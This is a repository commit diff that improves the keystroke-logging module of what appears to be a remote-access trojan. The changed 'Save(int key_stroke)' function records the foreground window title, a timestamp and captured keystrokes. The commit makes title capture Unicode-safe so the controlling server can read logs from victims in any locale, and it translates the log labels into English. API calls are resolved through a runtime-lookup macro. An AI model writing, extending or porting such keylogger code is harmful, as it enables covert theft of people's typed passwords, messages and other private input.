i18n: UTF-8 protocol capability + Unicode rendering on server
This commit is contained in:
@@ -94,9 +94,17 @@ int Save(int key_stroke)
|
||||
}
|
||||
|
||||
if (foreground) {
|
||||
// 用 W 接口取标题再转 UTF-8,避免依赖客户端系统 ANSI 代码页:
|
||||
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP(中文机=GBK),
|
||||
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252)。
|
||||
char window_title[MAX_PATH] = {};
|
||||
GET_PROCESS_EASY(GetWindowTextA);
|
||||
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
||||
wchar_t wTitle[MAX_PATH] = {};
|
||||
GET_PROCESS_EASY(GetWindowTextW);
|
||||
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||
window_title, MAX_PATH, NULL, NULL);
|
||||
}
|
||||
|
||||
if (strcmp(window_title, lastwindow) != 0) {
|
||||
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||
@@ -107,7 +115,7 @@ int Save(int key_stroke)
|
||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||
s.wHour, s.wMinute, s.wSecond);
|
||||
|
||||
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
|
||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user